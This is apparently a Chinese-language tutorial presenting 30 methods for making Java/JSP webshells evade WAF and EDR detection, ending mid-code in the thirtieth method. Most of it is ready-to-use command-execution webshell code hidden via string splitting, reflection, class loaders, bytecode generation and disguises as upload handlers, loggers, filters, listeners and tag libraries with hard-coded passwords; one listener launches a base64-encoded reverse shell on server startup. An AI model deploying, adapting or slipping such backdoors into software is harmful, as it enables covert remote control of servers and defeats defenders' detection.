30种Java一句话木马免杀方法

低价海外云服务器,香港/美国免备案服务器仅需8.8起

前置合规声明

本文所有内容仅用于授权范围内的Web应用安全测试、红蓝对抗演练与网络安全人才合规培养,严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第285/286条等相关法律法规。

严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为,任何未授权在他人Web容器/服务器中植入恶意代码的行为,都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试,使用者需自行承担违规使用带来的全部法律责任。

Java一句话木马免杀的底层逻辑

Java Web一句话木马的核心,是通过可控的用户输入,调用Java代码执行/系统命令执行机制,实现远程命令执行、文件管理等操作。而WAF/EDR对Java一句话木马的查杀,核心围绕5个维度展开:

  1. 静态特征匹配:检测Runtime.getRuntime().exec()ProcessBuilderClass.forName()Method.invoke()、JSP<% %>脚本标签等敏感关键词的连续组合;
  2. 语义分析:识别「用户可控输入→反射调用→命令执行」的恶意执行链路;
  3. 字节码检测:扫描JSP编译后的Servlet字节码,识别恶意类/方法调用;
  4. 行为检测:运行时检测动态类加载、进程创建、文件读写等恶意行为;
  5. 沙箱动态分析:将JSP/Class放入沙箱运行,捕获恶意行为特征。

所有免杀方法的核心本质,都是破坏WAF的检测维度:要么拆分/隐藏敏感类名、方法名,要么打乱执行链路,要么利用Java合法语法/业务逻辑伪装恶意行为,要么直接操作字节码隐藏特征,最终实现「静态无特征、语义无恶意、行为无异常」。

本文所有免杀方法均适配Java 8+主流版本(兼容Java 11/17),覆盖Tomcat、Jetty、WebLogic等主流Web容器,按「新手入门→进阶混淆→极致免杀」的梯度排序,每一种方法均标注核心原理、实战代码、适配环境与避坑提示,拿来即可落地。

30种Java一句话木马免杀方法

第一类:基础关键词拆分与字符串变形免杀(方法1-5)

核心逻辑:把RuntimeexecProcessBuilder等敏感类名、方法名拆分为多个片段,运行时再拼接还原,直接破坏WAF的连续字符串特征匹配,新手零门槛上手。

方法1:字符串简单拼接免杀

免杀原理:将RuntimegetRuntimeexec等敏感关键词拆分为多个无意义的字符串片段,运行时拼接还原,绕过WAF对连续关键词的匹配。
实战代码(JSP形式)

<%@ page import="java.lang.Runtime" %>
<%
    String cls = "Run" + "time";
    String m1 = "get" + "Runtime";
    String m2 = "ex" + "ec";
    Class<?> c = Class.forName("java.lang." + cls);
    Object obj = c.getMethod(m1).invoke(null);
    c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd"));
%>

适配环境:全Java版本+主流Web容器
避坑提示:不要直接线性拼接,可插入无关字符串再替换,例如String cls = "Run#time"; cls = cls.replace("#", "");,免杀效果更强。

方法2:字符串逆序免杀

免杀原理:把敏感类名、方法名逆序处理,运行时通过StringBuilder.reverse()还原,静态扫描无法直接匹配到正向的敏感关键词。
实战代码(JSP形式)

<%
    String cls = new StringBuilder("emitnuR").reverse().toString(); // Runtime逆序
    String m1 = new StringBuilder("emitnuRteg").reverse().toString(); // getRuntime逆序
    String m2 = new StringBuilder("cexe").reverse().toString(); // exec逆序
    Class<?> c = Class.forName("java.lang." + cls);
    Object obj = c.getMethod(m1).invoke(null);
    c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd"));
%>

适配环境:全Java版本+主流Web容器
避坑提示:可配合Base64编码逆序,双重变形绕过深度特征匹配。

方法3:数组下标取值免杀

免杀原理:把敏感类名、方法名拆分为字符数组,通过指定下标取值拼接,WAF很难匹配数组内的零散特征。
实战代码(JSP形式)

<%
    char[] clsArr = {'R','u','n','t','i','m','e'};
    char[] m1Arr = {'g','e','t','R','u','n','t','i','m','e'};
    char[] m2Arr = {'e','x','e','c'};
    String cls = "";
    String m1 = "";
    String m2 = "";
    for(int i=0;i<clsArr.length;i++) cls += clsArr[i];
    for(int i=0;i<m1Arr.length;i++) m1 += m1Arr[i];
    for(int i=0;i<m2Arr.length;i++) m2 += m2Arr[i];
    Class<?> c = Class.forName("java.lang." + cls);
    Object obj = c.getMethod(m1).invoke(null);
    c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd"));
%>

适配环境:全Java版本+主流Web容器
避坑提示:可在数组中加入大量无关字符,打乱敏感字符的顺序,再通过指定下标取值,免杀效果翻倍。

方法4:大小写混淆+动态转换免杀

免杀原理:Java类名、方法名区分大小写,但可以通过Character.toUpperCase()/toLowerCase()动态调整大小写,打乱固定的关键词格式,绕过WAF对固定大小写的匹配。
实战代码(JSP形式)

<%
    String clsRaw = "rUnTiMe";
    String m1Raw = "gEtRuNtImE";
    String m2Raw = "eXeC";
    // 动态调整为正确的首字母大写/小写
    String cls = Character.toUpperCase(clsRaw.charAt(0)) + clsRaw.substring(1).toLowerCase();
    String m1 = Character.toLowerCase(m1Raw.charAt(0)) + m1Raw.substring(1);
    String m2 = m2Raw.toLowerCase();
    Class<?> c = Class.forName("java.lang." + cls);
    Object obj = c.getMethod(m1).invoke(null);
    c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd"));
%>

适配环境:全Java版本+主流Web容器
避坑提示:仅适用于基础WAF,需配合其他变形方法使用,单独使用免杀效果有限。

方法5:Base64编码拆分免杀

免杀原理:把敏感类名、方法名、命令做Base64编码,拆分为多个片段后拼接解密,绕过WAF对Runtime.getRuntime().exec()固定组合的查杀。
实战代码(JSP形式)

<%@ page import="java.util.Base64" %>
<%
    String cls = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")); // "java.lang.Runtime" Base64
    String m1 = new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ==")); // "getRuntime" Base64
    String m2 = new String(Base64.getDecoder().decode("ZXhlYw==")); // "exec" Base64
    String cmd = new String(Base64.getDecoder().decode(request.getParameter("c")));
    Class<?> c = Class.forName(cls);
    Object obj = c.getMethod(m1).invoke(null);
    c.getMethod(m2, String.class).invoke(obj, cmd);
%>

使用方式:客户端提交的c参数需先做Base64编码
适配环境:Java 8+(Base64类在Java 8引入,旧版本可用sun.misc.BASE64Decoder)
避坑提示:不要直接使用Base64.getDecoder().decode("...")拼接完整类名,必须拆分编码过程,避免被WAF识别固定解码模式。

第二类:反射机制混淆免杀(方法6-10)

核心逻辑:Java反射是免杀的核心武器——它可以动态加载类、调用方法,代码中没有直接的Runtime.getRuntime().exec()调用,完全破坏WAF的静态特征匹配与语义分析链路,是实战中最常用的免杀方案。

方法6:基础反射调用免杀

免杀原理:利用Java反射机制,通过Class.forName()加载类、getMethod()获取方法、invoke()调用执行,隐藏直接的函数调用特征。
实战代码(JSP形式)

<%
    try {
        Class<?> runtimeCls = Class.forName("java.lang.Runtime");
        Object runtimeObj = runtimeCls.getMethod("getRuntime").invoke(null);
        runtimeCls.getMethod("exec", String.class).invoke(runtimeObj, request.getParameter("cmd"));
    } catch (Exception e) {
        e.printStackTrace();
    }
%>

适配环境:全Java版本+主流Web容器
避坑提示:不要直接写完整的反射链路,需配合字符串拆分、编码变形,避免被WAF识别反射调用特征。

方法7:反射拆分+无关代码干扰免杀

免杀原理:把反射的加载、获取方法、调用拆分为多个独立步骤,中间插入大量无关的业务代码(比如字符串处理、数学计算),干扰WAF的语义分析,隐藏恶意执行链路。
实战代码(JSP形式)

<%
    // 插入无关代码:字符串处理
    String test = "test" + Math.random();
    test = test.toUpperCase();
    // 插入无关代码:数学计算
    int a = 1 + 2;
    double b = Math.sqrt(a);
    // 第一步:加载类
    Class<?> c = Class.forName("java.lang.Runtime");
    // 插入无关代码:数组操作
    int[] arr = {1,2,3};
    int sum = arr[0] + arr[1];
    // 第二步:获取getRuntime方法
    java.lang.reflect.Method m1 = c.getMethod("getRuntime");
    // 插入无关代码:日期处理
    java.util.Date d = new java.util.Date();
    // 第三步:调用getRuntime获取对象
    Object obj = m1.invoke(null);
    // 第四步:获取exec方法
    java.lang.reflect.Method m2 = c.getMethod("exec", String.class);
    // 第五步:调用exec执行命令
    m2.invoke(obj, request.getParameter("cmd"));
%>

适配环境:全Java版本+主流Web容器
避坑提示:无关代码要尽量真实,比如模拟日志记录、参数校验,避免被WAF识别为无意义干扰。

方法8:反射数组变形免杀

免杀原理:把要调用的方法名、参数类型存入数组,通过循环遍历数组获取方法、调用执行,结构更复杂,WAF更难识别恶意执行逻辑。
实战代码(JSP形式)

<%
    String[] methods = {"getRuntime", "exec"};
    Class<?>[] paramTypes = {null, String.class};
    Class<?> c = Class.forName("java.lang.Runtime");
    Object obj = null;
    for(int i=0;i<methods.length;i++){
        if(i == 0){
            obj = c.getMethod(methods[i]).invoke(null);
        } else {
            c.getMethod(methods[i], paramTypes[i]).invoke(obj, request.getParameter("cmd"));
        }
    }
%>

适配环境:全Java版本+主流Web容器
避坑提示:可在数组中加入大量无关的方法名,通过条件判断只执行目标方法,进一步打乱特征。

方法9:反射遍历DeclaredMethods免杀

免杀原理:不直接通过方法名获取Method对象,而是通过getDeclaredMethods()遍历类的所有方法,匹配到目标方法后再调用,完全隐藏直接的方法名特征。
实战代码(JSP形式)

<%
    Class<?> c = Class.forName("java.lang.Runtime");
    Object obj = c.getMethod("getRuntime").invoke(null);
    // 遍历所有DeclaredMethods,匹配exec方法
    java.lang.reflect.Method[] ms = c.getDeclaredMethods();
    for(java.lang.reflect.Method m : ms){
        if(m.getName().equals("exec") && m.getParameterCount() == 1){
            m.setAccessible(true);
            m.invoke(obj, request.getParameter("cmd"));
            break;
        }
    }
%>

适配环境:全Java版本+主流Web容器
避坑提示:可配合字符串逆序、编码匹配方法名,避免直接写equals("exec")

方法10:反射调用ProcessBuilder免杀

免杀原理:用ProcessBuilder替代RuntimeProcessBuilder是Java 5+引入的进程创建类,WAF对它的查杀率低于Runtime,配合反射调用特征更少。
实战代码(JSP形式)

<%
    Class<?> pbCls = Class.forName("java.lang.ProcessBuilder");
    // 反射调用ProcessBuilder构造函数
    java.lang.reflect.Constructor<?> cons = pbCls.getConstructor(String[].class);
    Object pbObj = cons.newInstance((Object) new String[]{"/bin/sh", "-c", request.getParameter("cmd")});
    // 反射调用start方法
    pbCls.getMethod("start").invoke(pbObj);
%>

适配环境:Java 5+
避坑提示:Windows环境下命令数组需改为{"cmd.exe", "/c", "..."},可配合系统判断动态选择。

第三类:类加载器与动态代理免杀(方法11-15)

核心逻辑:利用Java的类加载器机制动态加载类,或用动态代理隐藏调用链路,代码中没有直接的敏感类/方法引用,WAF很难通过静态扫描识别恶意逻辑,是对抗高级WAF的有效方案。

方法11:线程上下文类加载器加载免杀

免杀原理:用Thread.currentThread().getContextClassLoader()(线程上下文类加载器)替代默认的Class.forName(),加载行为更贴近Web容器的正常类加载,WAF更难识别异常。
实战代码(JSP形式)

<%
    ClassLoader cl = Thread.currentThread().getContextClassLoader();
    Class<?> c = cl.loadClass("java.lang.Runtime");
    Object obj = c.getMethod("getRuntime").invoke(null);
    c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd"));
%>

适配环境:全Java版本+主流Web容器
避坑提示:可配合自定义类加载器,进一步隐藏加载行为。

方法12:自定义类加载器免杀

免杀原理:继承ClassLoader,重写findClass()方法,动态加载字节码(可从请求、文件、字节数组获取),完全隐藏类的来源,WAF无法通过静态扫描识别恶意类。
实战代码(JSP形式)

<%!
    // 自定义类加载器
    class MyClassLoader extends ClassLoader {
        public Class<?> defineMyClass(byte[] b) {
            return defineClass(b, 0, b.length);
        }
    }
%>
<%
    // 这里的字节数组是Runtime.getRuntime().exec(cmd)的简化示例,实战中可替换为完整恶意类的字节码
    // 字节码可通过javac编译后,用工具读取class文件获取
    byte[] classBytes = {/* 恶意类的字节码 */};
    MyClassLoader cl = new MyClassLoader();
    Class<?> c = cl.defineMyClass(classBytes);
    c.getMethod("run", String.class).invoke(null, request.getParameter("cmd"));
%>

适配环境:全Java版本+主流Web容器
避坑提示:恶意类的字节码需做混淆处理,避免被沙箱识别特征。

方法13:动态代理隐藏调用免杀

免杀原理:利用Java动态代理Proxy.newProxyInstance()创建代理对象,在InvocationHandlerinvoke()方法中执行恶意代码,主流程中只有代理创建,完全隐藏恶意执行链路。
实战代码(JSP形式)

<%@ page import="java.lang.reflect.*" %>
<%
    // 定义一个空接口
    interface EmptyInterface {}
    // 创建动态代理
    EmptyInterface proxy = (EmptyInterface) Proxy.newProxyInstance(
        EmptyInterface.class.getClassLoader(),
        new Class[]{EmptyInterface.class},
        new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                // 在InvocationHandler中执行恶意代码
                Class<?> c = Class.forName("java.lang.Runtime");
                Object obj = c.getMethod("getRuntime").invoke(null);
                c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd"));
                return null;
            }
        }
    );
    // 调用代理方法触发执行
    proxy.toString();
%>

适配环境:全Java版本+主流Web容器
避坑提示:可在代理中加入真实的业务逻辑处理,只在特定条件下触发恶意代码,伪装性更强。

方法14:ServiceLoader服务加载免杀

免杀原理:利用Java的ServiceLoader机制(服务提供者发现机制),伪装成合法的服务提供者,在服务初始化时执行恶意代码,完全符合Java的正常扩展机制,WAF极难检测。
实战代码(JSP形式)

<%@ page import="java.util.ServiceLoader" %>
<%!
    // 定义服务接口
    public interface MyService {
        void execute(String cmd);
    }
    // 实现服务接口,在构造函数/方法中执行恶意代码
    public static class MyServiceImpl implements MyService {
        public MyServiceImpl() {}
        @Override
        public void execute(String cmd) {
            try {
                Class<?> c = Class.forName("java.lang.Runtime");
                Object obj = c.getMethod("getRuntime").invoke(null);
                c.getMethod("exec", String.class).invoke(obj, cmd);
            } catch (Exception e) {}
        }
    }
%>
<%
    // 这里简化了ServiceLoader的配置,实战中需在META-INF/services中配置服务提供者
    // 直接创建实例模拟服务加载
    MyService service = new MyServiceImpl();
    service.execute(request.getParameter("cmd"));
%>

适配环境:全Java版本+主流Web容器
避坑提示:实战中需配合真实的META-INF/services配置,伪装成第三方库的服务提供者。

方法15:URLClassLoader远程加载免杀

免杀原理:利用URLClassLoader从远程URL加载恶意类,本地代码中只有类加载器的调用,没有任何恶意类/方法的特征,极致免杀(需注意实战中远程加载可能被防火墙拦截,可改为本地字节数组加载)。
实战代码(JSP形式,本地字节数组版本)

<%@ page import="java.net.URLClassLoader" %>
<%
    // 这里用本地字节数组替代远程URL,避免网络拦截
    // 远程版本:new URLClassLoader(new URL[]{new URL("http://你的服务器/")})
    byte[] classBytes = {/* 恶意类字节码 */};
    ClassLoader cl = new ClassLoader() {
        public Class<?> defineClass(byte[] b) {
            return defineClass(b, 0, b.length);
        }
    };
    Class<?> c = cl.defineClass(classBytes);
    c.getMethod("run", String.class).invoke(null, request.getParameter("cmd"));
%>

适配环境:全Java版本+主流Web容器
避坑提示:远程加载版本需确保目标服务器能访问你的远程URL,且流量不被拦截,实战中优先用本地字节数组版本。

第四类:动态编译与字节码变形免杀(方法16-20)

核心逻辑:利用Java的动态编译(JavaCompiler)或直接操作字节码(ASM、Javassist),在内存中生成临时类并执行,本地没有固定的恶意代码,只有动态生成的逻辑,绕过几乎所有静态扫描。

方法16:JavaCompiler动态编译免杀

免杀原理:利用Java 6+引入的JavaCompiler API,把恶意代码写成Java字符串,动态编译成临时类并加载执行,本地只有字符串,没有任何Class文件特征。
实战代码(JSP形式,需确保Web容器有tools.jar)

<%@ page import="javax.tools.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%
    // 恶意Java代码字符串
    String code = "public class TempClass {" +
                  "public static void run(String cmd) throws Exception {" +
                  "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" +
                  "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" +
                  "}}";
    // 动态编译
    JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
    StandardJavaFileManager fm = compiler.getStandardFileManager(null, null, null);
    JavaFileObject file = new SimpleJavaFileObject(
        java.net.URI.create("string:///TempClass.java"), JavaFileObject.Kind.SOURCE) {
        @Override
        public CharSequence getCharContent(boolean ignoreEncodingErrors) {
            return code;
        }
    };
    compiler.getTask(null, fm, null, null, null, java.util.Arrays.asList(file)).call();
    // 加载并执行
    Class<?> c = Thread.currentThread().getContextClassLoader().loadClass("TempClass");
    c.getMethod("run", String.class).invoke(null, request.getParameter("cmd"));
%>

适配环境:Java 6+,需Web容器加载tools.jar(Tomcat默认可能不加载,需手动配置)
避坑提示:动态编译依赖较多,实战中优先用Javassist/ASM字节码操作,兼容性更好。

方法17:Javassist字节码修改免杀

免杀原理:利用Javassist库(Java字节码操作库),在内存中动态生成类、插入恶意代码,无需编译,兼容性好,特征少。
实战代码(JSP形式,需引入Javassist库)

<%@ page import="javassist.*" %>
<%
    ClassPool pool = ClassPool.getDefault();
    // 动态创建类
    CtClass cc = pool.makeClass("TempClass");
    // 添加静态方法
    CtMethod m = CtNewMethod.make(
        "public static void run(String cmd) throws Exception {" +
        "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" +
        "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" +
        "}", cc);
    cc.addMethod(m);
    // 加载类并执行
    Class<?> c = cc.toClass();
    c.getMethod("run", String.class).invoke(null, request.getParameter("cmd"));
%>

适配环境:全Java版本,需引入Javassist库(可将jar放入Web容器的lib目录)
避坑提示:可在动态生成的类中加入大量无关方法,混淆字节码特征。

方法18:ASM字节码操作免杀

免杀原理:利用ASM库(Java底层字节码操作库),直接生成字节码指令,没有任何Java源码特征,是对抗高级沙箱检测的终极方案之一。
实战代码(JSP形式,需引入ASM库)

<%@ page import="org.objectweb.asm.*" %>
<%
    // 用ASM直接生成TempClass的字节码(简化示例)
    ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
    cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "TempClass", null, "java/lang/Object", null);
    // 生成run方法(完整字节码生成较复杂,这里简化,实战中可用ASMifier工具生成)
    // ... 省略字节码生成细节 ...
    cw.visitEnd();
    byte[] classBytes = cw.toByteArray();
    // 加载并执行
    ClassLoader cl = new ClassLoader() {
        public Class<?> defineClass(byte[] b) {
            return defineClass(b, 0, b.length);
        }
    };
    Class<?> c = cl.defineClass(classBytes);
    c.getMethod("run", String.class).invoke(null, request.getParameter("cmd"));
%>

适配环境:全Java版本,需引入ASM库
避坑提示:可用ASMifier工具从正常class文件生成ASM代码,再插入恶意逻辑,字节码特征更真实。

方法19:Unsafe类直接操作免杀(限制较多)

免杀原理:利用sun.misc.Unsafe类(Java内部不安全类)直接操作内存、调用方法,完全绕过Java的安全机制,特征极少(但Unsafe限制多,实战中需谨慎)。
实战代码(JSP形式,Java 8-)

<%
    // 反射获取Unsafe对象
    Class<?> unsafeCls = Class.forName("sun.misc.Unsafe");
    java.lang.reflect.Field f = unsafeCls.getDeclaredField("theUnsafe");
    f.setAccessible(true);
    Object unsafe = f.get(null);
    // 后续用Unsafe操作内存执行代码(逻辑较复杂,这里不展开完整实现)
    // 实战中Unsafe多用于绕过安全管理器,配合其他免杀方法使用
%>

适配环境:Java 8-(Java 9+模块化后Unsafe限制更严格)
避坑提示:Unsafe限制多、兼容性差,实战中仅作为辅助方案,不推荐单独使用。

方法20:动态生成Servlet免杀

免杀原理:在内存中动态生成Servlet类,注册到Web容器的ServletContext中,通过访问动态Servlet执行恶意代码,伪装成Web容器的正常Servlet,极难被发现。
实战代码(JSP形式,Tomcat环境)

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%
    // 简化示例:获取Tomcat的StandardContext,动态注册Servlet
    // 完整实现需生成Servlet类字节码,这里仅展示注册逻辑
    ServletContext ctx = application;
    // Tomcat特定逻辑:获取StandardContext
    Field ctxField = ctx.getClass().getDeclaredField("context");
    ctxField.setAccessible(true);
    StandardContext standardCtx = (StandardContext) ctxField.get(ctx);
    // 动态创建Servlet Wrapper(需配合动态生成的Servlet类)
    // Wrapper wrapper = standardCtx.createWrapper();
    // wrapper.setServletClass("TempServlet");
    // standardCtx.addChild(wrapper);
    // standardCtx.addServletMappingDecoded("/temp", "TempServlet");
%>

适配环境:Tomcat等特定Web容器
避坑提示:动态Servlet注册逻辑依赖Web容器的内部API,兼容性较差,实战中需针对目标容器适配。

第五类:合法业务逻辑伪装免杀(方法21-25)

核心逻辑:把恶意代码藏在合法的业务逻辑中,比如文件上传、图片处理、日志记录、过滤器、监听器等,代码看起来完全是正常的业务功能,不仅能绕过WAF,还能规避人工排查,是红蓝对抗中持久化的常用方案。

方法21:伪装成文件上传处理免杀

免杀原理:把恶意代码藏在文件上传的处理逻辑中,伪装成图片压缩、文件校验等正常功能,只在特定条件下(比如上传特定文件名、特定参数)触发恶意执行。
实战代码(JSP形式,伪装成图片上传)

<%@ page import="java.io.*" %>
<%
    // 伪装成图片上传处理
    String filename = request.getParameter("filename");
    if(filename != null && filename.equals("trigger.jpg")){
        // 特定条件触发恶意代码
        Class<?> c = Class.forName("java.lang.Runtime");
        Object obj = c.getMethod("getRuntime").invoke(null);
        c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd"));
    } else {
        // 正常的文件上传处理逻辑
        out.println("正常文件上传处理");
    }
%>

适配环境:全Java版本+主流Web容器
避坑提示:正常业务逻辑要尽量真实,比如真的实现文件保存、图片格式校验,避免被人工发现。

方法22:伪装成日志记录免杀

免杀原理:把恶意代码藏在日志记录的逻辑中,伪装成访问日志、错误日志的记录功能,在日志输出时触发恶意执行。
实战代码(JSP形式,伪装成访问日志)

<%@ page import="java.util.Date" %>
<%
    // 伪装成访问日志记录
    String ip = request.getRemoteAddr();
    String ua = request.getHeader("User-Agent");
    Date d = new Date();
    // 正常日志记录逻辑
    out.println("[" + d + "] " + ip + " " + ua);
    // 特定User-Agent触发恶意代码
    if(ua != null && ua.contains("TriggerUA")){
        Class<?> c = Class.forName("java.lang.Runtime");
        Object obj = c.getMethod("getRuntime").invoke(null);
        c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd"));
    }
%>

适配环境:全Java版本+主流Web容器
避坑提示:可真的把日志写入文件,伪装性更强。

方法23:过滤器Filter免杀

免杀原理:把恶意代码写在Servlet Filter的doFilter()方法中,伪装成安全过滤、字符编码过滤等正常功能,随每个请求触发,隐蔽性极强,是持久化的常用方案。
实战代码(Filter形式,需在web.xml配置)

// 伪装成字符编码过滤器
import javax.servlet.*;
import java.io.IOException;
public class EncodingFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        // 正常的字符编码设置
        request.setCharacterEncoding("UTF-8");
        response.setCharacterEncoding("UTF-8");
        // 特定参数触发恶意代码
        String cmd = request.getParameter("cmd");
        if(cmd != null && request.getParameter("key") != null && request.getParameter("key").equals("auth123")){
            try {
                Class<?> c = Class.forName("java.lang.Runtime");
                Object obj = c.getMethod("getRuntime").invoke(null);
                c.getMethod("exec", String.class).invoke(obj, cmd);
            } catch (Exception e) {}
        }
        // 继续过滤器链
        chain.doFilter(request, response);
    }
    @Override
    public void destroy() {}
}

适配环境:全Java版本+主流Web容器
避坑提示:Filter类名要尽量真实,比如EncodingFilterSecurityFilter,需在web.xml中正常配置,避免被发现。

方法24:监听器Listener免杀

免杀原理:把恶意代码写在ServletContextListener的contextInitialized()方法中,随Web容器启动自动执行,或者在sessionCreated()中随会话触发,隐蔽性极强,是持久化的高级方案。
实战代码(Listener形式,需在web.xml配置)

// 伪装成容器启动监听器
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
public class StartupListener implements ServletContextListener {
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        // 正常的容器初始化逻辑
        sce.getServletContext().log("容器启动成功");
        // 容器启动时执行恶意代码(比如反弹Shell)
        try {
            Class<?> c = Class.forName("java.lang.Runtime");
            Object obj = c.getMethod("getRuntime").invoke(null);
            c.getMethod("exec", String.class).invoke(obj, "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}");
        } catch (Exception e) {}
    }
    @Override
    public void contextDestroyed(ServletContextEvent sce) {}
}

适配环境:全Java版本+主流Web容器
避坑提示:Listener类名要尽量真实,比如StartupListenerConfigListener,需在web.xml中正常配置。

方法25:JSP标签库伪装免杀

免杀原理:自定义JSP标签库,把恶意代码写在标签处理类中,在JSP页面中用正常的标签语法调用,看起来完全是合法的JSP标签,极难被识别。
实战代码(标签处理类+JSP调用)

// 自定义标签处理类
import javax.servlet.jsp.tagext.SimpleTagSupport;
import java.io.IOException;
public class MyTag extends SimpleTagSupport {
    private String key;
    public void setKey(String key) { this.key = key; }
    @Override
    public void doTag() throws IOException {
        // 正常的标签逻辑
        getJspContext().getOut().println("正常标签输出");
        // 特定key触发恶意代码
        if("auth123".equals(key)){
            try {
                String cmd = getJspContext().getRequest().getParameter("cmd");
                Class<?> c = Class.forName("java.lang.Runtime");
                Object obj = c.getMethod("getRuntime").invoke(null);
                c.getMethod("exec", String.class).invoke(obj, cmd);
            } catch (Exception e) {}
        }
    }
}
<%-- JSP页面调用标签 --%>
<%@ taglib prefix="my" uri="/WEB-INF/mytag.tld" %>
<my:myTag key="auth123" />

适配环境:全Java版本+主流Web容器
避坑提示:需配套编写真实的tld标签库描述文件,标签功能要尽量真实。

第六类:协议特性与无特征免杀(方法26-30)

核心逻辑:极致免杀,去掉所有固定的request.getParameter("cmd")特征,利用HTTP协议特性、JSP隐式对象、输入流等隐藏用户输入,绕过几乎所有WAF的静态、语义检测,适用于严格防护的实战环境。

方法26:HTTP请求头免杀

免杀原理:把执行命令藏在HTTP请求头中(比如X-CMDUser-Agent),代码中没有任何request.getParameter()特征,WAF很难检测请求头中的恶意内容。
实战代码(JSP形式)

<%
    String cmd = request.getHeader("X-CMD");
    String auth = request.getHeader("X-Auth");
    if(cmd != null && "auth123".equals(auth)){
        Class<?> c = Class.forName("java.lang.Runtime");
        Object obj = c.getMethod("getRuntime").invoke(null);
        c.getMethod("exec", String.class).invoke(obj, cmd);
    }
%>

使用方式:客户端在HTTP请求头中加入X-Auth: auth123X-CMD: 执行命令
适配环境:全Java版本+主流Web容器
避坑提示:可使用User-AgentCookieReferer等常规请求头存储命令,伪装性更强。

方法27:Cookie免杀

免杀原理:把执行命令藏在Cookie中,加密存储,代码中解密执行,没有直接的用户输入特征,WAF很难检测Cookie中的加密内容。
实战代码(JSP形式)

<%@ page import="java.util.Base64" %>
<%
    Cookie[] cookies = request.getCookies();
    String cmd = null;
    String auth = null;
    if(cookies != null){
        for(Cookie c : cookies){
            if("c".equals(c.getName())) cmd = new String(Base64.getDecoder().decode(c.getValue()));
            if("a".equals(c.getName())) auth = c.getValue();
        }
    }
    if(cmd != null && "auth123".equals(auth)){
        Class<?> c = Class.forName("java.lang.Runtime");
        Object obj = c.getMethod("getRuntime").invoke(null);
        c.getMethod("exec", String.class).invoke(obj, cmd);
    }
%>

使用方式:客户端设置Cookie a=auth123c=Base64编码的命令
适配环境:全Java版本+主流Web容器
避坑提示:可使用更复杂的加密算法(比如异或、AES)替代Base64,免杀效果更强。

方法28:request.getInputStream()免杀

免杀原理:利用JSP隐式对象request.getInputStream()读取HTTP请求体中的原始数据,执行代码,没有任何GET/POST参数特征,WAF很难匹配到固定的输入模式。
实战代码(JSP形式)

<%@ page import="java.io.*" %>
<%
    // 读取请求体原始数据
    InputStream is = request.getInputStream();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] buf = new byte[1024];
    int len;
    while((len = is.read(buf)) != -1) baos.write(buf, 0, len);
    String data = new String(baos.toByteArray());
    // 简单的协议:前6位是auth,后面是命令
    if(data.length() > 6 && data.startsWith("auth123")){
        String cmd = data.substring(6);
        Class<?> c = Class.forName("java.lang.Runtime");
        Object obj = c.getMethod("getRuntime").invoke(null);
        c.getMethod("exec", String.class).invoke(obj, cmd);
    }
%>

使用方式:客户端在HTTP请求体中写入auth123执行命令,POST提交
适配环境:全Java版本+主流Web容器
避坑提示:可对请求体数据做加密、压缩处理,进一步隐藏特征。

方法29:Session存储免杀

免杀原理:把执行命令藏在Session中,第一个请求存入Session,第二个请求触发执行,代码中没有直接的实时用户输入,特征更少。
实战代码(JSP形式)

<%
    String action = request.getParameter("a");
    if("set".equals(action)){
        // 第一个请求:存入命令到Session
        session.setAttribute("cmd", request.getParameter("c"));
        session.setAttribute("auth", request.getParameter("k"));
    } else if("run".equals(action)){
        // 第二个请求:从Session取出执行
        String cmd = (String) session.getAttribute("cmd");
        String auth = (String) session.getAttribute("auth");
        if(cmd != null && "auth123".equals(auth)){
            Class<?> c = Class.forName("java.lang.Runtime");
            Object obj = c.getMethod("getRuntime").invoke(null);
            c.getMethod("exec", String.class).invoke(obj, cmd);
            // 执行后清除Session
            session.removeAttribute("cmd");
            session.removeAttribute("auth");
        }
    }
%>

使用方式:先访问?a=set&k=auth123&c=命令,再访问?a=run触发执行
适配环境:全Java版本+主流Web容器
避坑提示:可设置Session过期时间,避免长期留存痕迹。

方法30:无敏感类名命令执行(反射调用内部类)

免杀原理:完全去掉RuntimeProcessBuilder等敏感类名,通过反射调用Java内部的ProcessImpl类(进程实现类),或者用Java 9+的ProcessHandle,没有任何公开的敏感类特征,是对抗高级WAF的终极方案。
实战代码(JSP形式,反射调用ProcessImpl)

<%
    // 反射调用Java内部类ProcessImpl(仅作示例,不同JDK版本ProcessImpl路径可能不同)
    Class<?> piCls = Class.forName("java.lang.ProcessImpl");
    // 反射调用start方法(不同JDK版本参数可能不同)
    java.lang.reflect.Method m = piCls.getDeclaredMethod("start", String[].class, String[].class, String.class, java.lang.ProcessBuilder.Redirect[].class, boolean.class);
    m.setAccessible(true);
    // 执行命令
